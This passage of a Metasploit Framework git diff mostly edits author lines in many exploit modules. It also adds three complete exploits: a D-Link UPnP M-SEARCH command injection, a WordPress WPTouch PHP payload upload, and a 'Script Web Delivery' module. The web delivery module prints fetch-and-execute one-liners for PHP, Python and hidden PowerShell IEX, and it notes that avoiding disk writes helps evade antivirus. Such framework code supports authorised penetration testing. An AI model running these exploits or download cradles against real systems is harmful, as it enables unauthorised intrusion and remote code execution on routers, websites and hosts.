a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb @@ -4,12 +4,17 @@ ## require 'msf/core' +require 'msf/core/module/deprecated' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper + include Msf::Module::Deprecated + + DEPRECATION_DATE = Date.new(2014, 9, 11) + DEPRECATION_REPLACEMENT = 'exploits/linux/http/dlink_upnp_exec_noauth' def initialize(info = {}) super(update_info(info, @@ -22,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/fritzbox_echo_exec.rb b/modules/exploits/linux/http/fritzbox_echo_exec.rb index d4260d1b02..181674f7e9 100644 --- a/modules/exploits/linux/http/fritzbox_echo_exec.rb +++ b/modules/exploits/linux/http/fritzbox_echo_exec.rb @@ -24,8 +24,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Unknown', # Vulnerability discovery - 'Fabian Braeunlein ', # Metasploit PoC with wget method - 'Michael Messner ' # Metasploit module + 'Fabian Braeunlein ', # Metasploit PoC with wget method + 'Michael Messner ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/linux/http/gitlist_exec.rb b/modules/exploits/linux/http/gitlist_exec.rb index 595e13014e..d5f7280cba 100644 --- a/modules/exploits/linux/http/gitlist_exec.rb +++ b/modules/exploits/linux/http/gitlist_exec.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'drone', #discovery/poc by @dronesec - 'Brandon Perry ' #Metasploit module + 'Brandon Perry ' #Metasploit module ], 'References' => [ diff --git a/modules/exploits/linux/http/gpsd_format_string.rb b/modules/exploits/linux/http/gpsd_format_string.rb index bc7621a5dc..76af2bc1f7 100644 --- a/modules/exploits/linux/http/gpsd_format_string.rb +++ b/modules/exploits/linux/http/gpsd_format_string.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits a format string vulnerability in the Berlios GPSD server. This vulnerability was discovered by Kevin Finisterre. }, - 'Author' => [ 'Yann Senotier ' ], + 'Author' => [ 'Yann Senotier ' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb index 6e5c006a98..b76d50f6ba 100644 --- a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/linksys_themoon_exec.rb b/modules/exploits/linux/http/linksys_themoon_exec.rb index ed8aaad803..3496f27bd0 100644 --- a/modules/exploits/linux/http/linksys_themoon_exec.rb +++ b/modules/exploits/linux/http/linksys_themoon_exec.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Johannes Ullrich', #worm discovery 'Rew', # original exploit 'infodox', # another exploit - 'Michael Messner ', # Metasploit module + 'Michael Messner ', # Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb index bb8c137b99..1117679e52 100644 --- a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 7e778969bc..fc247d0772 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb index d89036bbc8..3f318a8e46 100644 --- a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb index 5a6242c404..0424acb20b 100644 --- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb index 9be98b2b95..0b76af186e 100644 --- a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb +++ b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb index 3da916023f..badc596fef 100644 --- a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb +++ b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Brandon Perry ' # discovery and Metasploit module + 'Brandon Perry ' # discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/linux/ids/snortbopre.rb b/modules/exploits/linux/ids/snortbopre.rb index 3fe23de2e7..43216917d9 100644 --- a/modules/exploits/linux/ids/snortbopre.rb +++ b/modules/exploits/linux/ids/snortbopre.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote be used to completely compromise a Snort sensor, and would typically gain an attacker full root or administrative privileges. }, - 'Author' => 'KaiJern Lau ', + 'Author' => 'KaiJern Lau ', 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb new file mode 100644 index 0000000000..e5c291b4e7 --- /dev/null +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection', + 'Description' => %q{ + Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast + requests. This module has been tested on DIR-300 and DIR-645 devices. Zachary Cutlip + has initially reported the DIR-815 vulnerable. Probably there are other devices also + affected. + }, + 'Author' => + [ + 'Zachary Cutlip', # Vulnerability discovery and initial exploit + 'Michael Messner ' # Metasploit module and verification on other routers + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], # original exploit + ['URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'] # original exploit + ], + 'DisclosureDate' => 'Feb 01 2013', + 'Privileged' => true, + 'Targets' => + [ + [ 'MIPS Little Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'MIPS Big Endian', # unknown if there are big endian devices out there + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS + } + ] + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(1900) + ], self.class) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + configure_socket + + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:upnp:rootdevice\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:2\r\n\r\n" + + udp_sock.sendto(pkt, rhost, rport, 0) + + res = nil + 1.upto(5) do + res,_,_ = udp_sock.recvfrom(65535, 1.0) + break if res and res =~ /SERVER:\ Linux,\ UPnP\/1\.0,\ DIR-...\ Ver/mi + udp_sock.sendto(pkt, rhost, rport, 0) + end + + # UPnP response: + # [*] 192.168.0.2:1900 SSDP Linux, UPnP/1.0, DIR-645 Ver 1.03 | http://192.168.0.2:49152/InternetGatewayDevice.xml | uuid:D02411C0-B070-6009-39C5-9094E4B34FD1::urn:schemas-upnp-org:device:InternetGatewayDevice:1 + # we do not check for the Device ID (DIR-645) and for the firmware version because there are different + # dlink devices out there and we do not know all the vulnerable versions + + if res && res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Unknown + end + + def execute_command(cmd, opts) + configure_socket + + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:uuid:`#{cmd}`\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:2\r\n\r\n" + + udp_sock.sendto(pkt, rhost, rport, 0) + end + + def exploit + print_status("#{peer} - Trying to access the device via UPnP ...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :flavor => :echo, + :linemax => 950 + ) + end + + # the packet stuff was taken from the module miniupnpd_soap_bof.rb + # We need an unconnected socket because SSDP replies often come + # from a different sent port than the one we sent to. This also + # breaks the standard UDP mixin. + def configure_socket + self.udp_sock = Rex::Socket::Udp.create({ + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + }) + add_socket(self.udp_sock) + end + + # Need to define our own rhost/rport/peer since we aren't + # using the normal mixins + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + def peer + "#{rhost}:#{rport}" + end + + # Accessor for our UDP socket + attr_accessor :udp_sock + +end diff --git a/modules/exploits/multi/browser/itms_overflow.rb b/modules/exploits/multi/browser/itms_overflow.rb index fe24f06002..49fb227868 100644 --- a/modules/exploits/multi/browser/itms_overflow.rb +++ b/modules/exploits/multi/browser/itms_overflow.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote Because iTunes is multithreaded, only vfork-based payloads should be used. }, - 'Author' => [ 'Will Drewry ' ], + 'Author' => [ 'Will Drewry ' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/multi/browser/mozilla_compareto.rb b/modules/exploits/multi/browser/mozilla_compareto.rb index cf49018f3d..4f29034c51 100644 --- a/modules/exploits/multi/browser/mozilla_compareto.rb +++ b/modules/exploits/multi/browser/mozilla_compareto.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote module is a direct port of Aviv Raff's HTML PoC. }, 'License' => MSF_LICENSE, - 'Author' => ['hdm', 'Aviv Raff '], + 'Author' => ['hdm', 'Aviv Raff '], 'References' => [ ['CVE', '2005-2265'], diff --git a/modules/exploits/multi/browser/opera_historysearch.rb b/modules/exploits/multi/browser/opera_historysearch.rb index 2c7a1efb27..9b619da376 100644 --- a/modules/exploits/multi/browser/opera_historysearch.rb +++ b/modules/exploits/multi/browser/opera_historysearch.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Roberto Suggi', # Discovered the vulnerability - 'Aviv Raff ', # showed it to be exploitable for code exec + 'Aviv Raff ', # showed it to be exploitable for code exec 'egypt', # msf module ], 'References' => diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb index 3153f03bae..7606159005 100644 --- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb +++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb @@ -34,8 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'hdm', # module development - 'GML ', # module development and debugging - 'Stefan Esser ' # discovered, patched, exploited + 'GML ', # module development and debugging + 'Stefan Esser ' # discovered, patched, exploited ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb new file mode 100644 index 0000000000..6e776aa9f9 --- /dev/null +++ b/modules/exploits/multi/script/web_delivery.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Script Web Delivery', + 'Description' => %q{ + This module quickly fires up a web server that serves a payload. + The provided command will start the specified scripting language interpreter and then download and execute the + payload. The main purpose of this module is to quickly establish a session on a target + machine when the attacker has to manually type in the command himself, e.g. Command Injection, + RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not + write to disk so it is less likely to trigger AV solutions and will allow privilege + escalations supplied by Meterpreter. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Andrew Smith "jakx" ', + 'Ben Campbell ', + 'Chris Campbell' #@obscuresec - Inspiration n.b. no relation! + ], + 'DefaultOptions' => + { + 'Payload' => 'python/meterpreter/reverse_tcp' + }, + 'References' => + [ + [ 'URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'], + [ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ], + [ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'], + [ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'] + ], + 'Platform' => %w{python php win}, + 'Targets' => + [ + ['Python', { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + }], + ['PHP', { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + }], + ['PSH_x86', { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + }], + ['PSH_x64', { + 'Platform' => 'win', + 'Arch' => ARCH_X86_64 + }], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 19 2013' + )) + end + + def on_request_uri(cli, request) + print_status("Delivering Payload") + if (target.name.include? "PSH") + data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded) + else + data = %Q|#{payload.encoded} | + end + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) + end + + def primer + url = get_uri() + print_status("Run the following command on the target machine:") + case target.name + when "PHP" + print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"") + when "Python" + print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"") + when "PSH_x86", "PSH_x64" + download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" + print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"") + end + end +end diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb index 4bba1a2ef0..edb7fa1917 100644 --- a/modules/exploits/unix/webapp/nagios3_history_cgi.rb +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -20,9 +20,9 @@ class Metasploit3 < Msf::Exploit::Remote Nagios3 history.cgi script. }, 'Author' => [ - 'Unknown ', # Original finding - 'blasty ', # First working exploit - 'Jose Selvi ', # Metasploit module + 'Unknown ', # Original finding + 'blasty ', # First working exploit + 'Jose Selvi ', # Metasploit module 'Daniele Martini ' # Metasploit module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/unix/webapp/php_wordpress_lastpost.rb b/modules/exploits/unix/webapp/php_wordpress_lastpost.rb index 3bf1ab9d2d..7f7da159ed 100644 --- a/modules/exploits/unix/webapp/php_wordpress_lastpost.rb +++ b/modules/exploits/unix/webapp/php_wordpress_lastpost.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote option is enabled (common for hosting providers). All versions of WordPress prior to 1.5.1.3 are affected. }, - 'Author' => [ 'str0ke ', 'hdm' ], + 'Author' => [ 'str0ke ', 'hdm' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb index dcf88c8a12..a03c8ad083 100644 --- a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb @@ -28,8 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Adam Caudill ', # Vulnerability discovery - 'AverageSecurityGuy ', # Metasploit Module + 'Adam Caudill ', # Vulnerability discovery + 'AverageSecurityGuy ', # Metasploit Module 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], diff --git a/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb new file mode 100644 index 0000000000..864fd2bec7 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb @@ -0,0 +1,172 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress WPTouch Authenticated File Upload', + 'Description' => %q{ + The Wordpress WPTouch plugin contains an auhtenticated file upload + vulnerability. A wp-nonce (CSRF token) is created on the backend index + page and the same token is used on handling ajax file uploads through + the plugin. By sending the captured nonce with the upload, we can + upload arbitrary files to the upload folder. Because the plugin also + uses it's own file upload mechanism instead of the wordpress api it's + possible to upload any file type. + The user provided does not need special rights. Also users with "Contributer" + role can be abused. + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # initial discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html' ] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [ ['wptouch < 3.4.3', {}] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 14 2014')) + + register_options( + [ + OptString.new('USER', [true, "A valid username", nil]), + OptString.new('PASSWORD', [true, "Valid password for the provided username", nil]), + ], self.class) + end + + def user + datastore['USER'] + end + + def password + datastore['PASSWORD'] + end + + def check + readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wptouch', 'readme.txt') + res = send_request_cgi({ + 'uri' => readme_url, + 'method' => 'GET' + }) + # no readme.txt present + if res.nil? || res.code != 200 + return Msf::Exploit::CheckCode::Unknown + end + + # try to extract version from readme + # Example line: + # Stable tag: 2.6.6 + version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1] + + # readme present, but no version number + if version.nil? + return Msf::Exploit::CheckCode::Detected + end + + vprint_status("#{peer} - Found version #{version} of the plugin") + + if Gem::Version.new(version) < Gem::Version.new('3.4.3') + return Msf::Exploit::CheckCode::Appears + else + return Msf::Exploit::CheckCode::Safe + end + end + + def get_nonce(cookie) + res = send_request_cgi({ + 'uri' => wordpress_url_backend, + 'method' => 'GET', + 'cookie' => cookie + }) + + # forward to profile.php or other page? + if res and res.code.to_s =~ /30[0-9]/ and res.headers['Location'] + location = res.headers['Location'] + print_status("#{peer} - Following redirect to #{location}") + res = send_request_cgi({ + 'uri' => location, + 'method' => 'GET', + 'cookie' => cookie + }) + end + + if res and res.body and res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/ + return $1 + else + return nil + end + end + + def upload_file(cookie, nonce) + filename = "#{rand_text_alpha(10)}.php" + + data = Rex::MIME::Message.new + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"myfile\"; filename=\"#{filename}\"") + data.add_part('homescreen_image', nil, nil, 'form-data; name="file_type"') + data.add_part('upload_file', nil, nil, 'form-data; name="action"') + data.add_part('wptouch__foundation__logo_image', nil, nil, 'form-data; name="setting_name"') + data.add_part(nonce, nil, nil, 'form-data; name="wp_nonce"') + post_data = data.to_s + + print_status("#{peer} - Uploading payload") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'cookie' => cookie + }) + + if res and res.code == 200 and res.body and res.body.length > 0 + register_files_for_cleanup(filename) + return res.body + end + + return nil + end + + def exploit + print_status("#{peer} - Trying to login as #{user}") + cookie = wordpress_login(user, password) + if cookie.nil? + print_error("#{peer} - Unable to login as #{user}") + return + end + + print_status("#{peer} - Trying to get nonce") + nonce = get_nonce(cookie) + if nonce.nil? + print_error("#{peer} - Can not get nonce after login") + return + end + print_status("#{peer} - Got nonce #{nonce}") + + print_status("#{peer} - Trying to upload payload") + file_path = upload_file(cookie, nonce) + if file_path.nil? + print_error("#{peer} - Error uploading file") + return + end + + print_status("#{peer} - Calling uploaded file #{file_path}") + res = send_request_cgi({ + 'uri' => file_path, + 'method' => 'GET' + }) + end +end diff --git a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb index f7e054fd4f..d41e74d73d 100644 --- a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb +++ b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote could overflow a buffer and execute arbitrary code on the system. }, 'License' => MSF_LICENSE, - 'Author' => [ 'dean ' ], + 'Author' => [ 'dean ' ], 'References' => [ [ 'CVE', '2008-1472' ], diff --git a/modules/exploits/windows/browser/ms06_013_createtextrange.rb b/modules/exploits/windows/browser/ms06_013_createtextrange.rb index 396f5ba801..a5847c055a 100644 --- a/modules/exploits/windows/browser/ms06_013_createtextrange.rb +++ b/modules/exploits/windows/browser/ms06_013_createtextrange.rb @@ -25,10 +25,10 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'Faithless ', + 'Faithless ', 'Darkeagle ', 'hdm', - '', + '', 'Unknown', ], 'References' => diff --git a/modules/exploits/windows/browser/ms06_055_vml_method.rb b/modules/exploits/windows/browser/ms06_055_vml_method.rb index eb421d6fd3..0342c3f2ea 100644 --- a/modules/exploits/windows/browser/ms06_055_vml_method.rb +++ b/modules/exploits/windows/browser/ms06_055_vml_method.rb @@ -22,17 +22,17 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'hdm', - 'Aviv Raff ', - 'Trirat Puttaraksa (Kira) ', - 'Mr.Niega ', - 'M. Shirk ' + 'Aviv Raff ', + 'Trirat Puttaraksa (Kira) ', + 'Mr.Niega ', + 'M. Shirk ' ], 'References' => [ - ['CVE', '2006-4868' ], - ['OSVDB', '28946' ], - ['MSB', 'MS06-055' ], - ['BID', '20096' ], + ['CVE', '2006-4868'], + ['OSVDB', '28946'], + ['MSB', 'MS06-055'], + ['BID', '20096'], ], 'Payload' => { diff --git a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb index e4b2c478cb..6d553bb2dd 100644 --- a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'Scott Bell ' # Vulnerability discovery & Metasploit module + 'Scott Bell ' # Vulnerability discovery & Metasploit module ], 'References' => [ diff --git a/modules/exploits/windows/browser/verypdf_pdfview.rb b/modules/exploits/windows/browser/verypdf_pdfview.rb index a7c78eefad..c30f034d48 100644 --- a/modules/exploits/windows/browser/verypdf_pdfview.rb +++ b/modules/exploits/windows/browser/verypdf_pdfview.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote to execute arbitrary code within the context of the affected application. }, 'License' => MSF_LICENSE, - 'Author' => [ 'MC', 'dean ' ], + 'Author' => [ 'MC', 'dean ' ], 'References' => [ [ 'CVE', '2008-5492'], diff --git a/modules/exploits/windows/fileformat/djvu_imageurl.rb b/modules/exploits/windows/fileformat/djvu_imageurl.rb index 937e3d6ec7..a9c4d93294 100644 --- a/modules/exploits/windows/fileformat/djvu_imageurl.rb +++ b/modules/exploits/windows/fileformat/djvu_imageurl.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote for scripting, so choose your attack vector accordingly. }, 'License' => MSF_LICENSE, - 'Author' => [ 'dean ' ], + 'Author' => [ 'dean ' ], 'References' => [ [ 'CVE', '2008-4922' ], diff --git a/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb b/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb index 2eb3c6cb10..5ba0fcb587 100644 --- a/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb +++ b/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote This control is not marked safe for scripting, please choose your attack vector carefully. }, 'License' => MSF_LICENSE, - 'Author' => [ 'dean ' ], + 'Author' => [ 'dean ' ], 'References' => [ [ 'CVE','2008-1898' ], diff --git a/modules/exploits/windows/fileformat/sascam_get.rb b/modules/exploits/windows/fileformat/sascam_get.rb index 546f85d455..53294f894c 100644 --- a/modules/exploits/windows/fileformat/sascam_get.rb +++ b/modules/exploits/windows/fileformat/sascam_get.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote attack vector carefully. }, 'License' => MSF_LICENSE, - 'Author' => [ 'dean ' ], + 'Author' => [ 'dean ' ], 'References' => [ [ 'CVE', '2008-6898' ], diff --git a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb index b3f0ae9027..4fe3d16a05 100644 --- a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb +++ b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'hack4love ', + 'hack4love ', 'germaya_x', 'loneferret', 'jduck' diff --git a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb index b22842f4b7..809287d2f7 100644 --- a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb +++ b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'hadji samir ', # Discovered the bug + 'hadji samir ', # Discovered the bug 'corelanc0d3r ', # First working exploit 'digital1', # First working exploit 'jduck', # Alpha+Unicode encoding :-/ diff --git a/modules/exploits/windows/ftp/easyftp_list_fixret.rb b/modules/exploits/windows/ftp/easyftp_list_fixret.rb index 1ac9951969..d855b94040 100644 --- a/modules/exploits/windows/ftp/easyftp_list_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_list_fixret.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Karn Ganeshan ', # original version + 'Karn Ganeshan ', # original version 'MFR', # convert to metasploit format. 'jduck' # modified to use fix-up stub (works with bigger payloads) ], diff --git a/modules/exploits/windows/ftp/globalscapeftp_input.rb b/modules/exploits/windows/ftp/globalscapeftp_input.rb index 091b153aec..9a5715a7a9 100644 --- a/modules/exploits/windows/ftp/globalscapeftp_input.rb +++ b/modules/exploits/windows/ftp/globalscapeftp_input.rb @@ -18,7 +18,7 @@ class Metasploit3 < 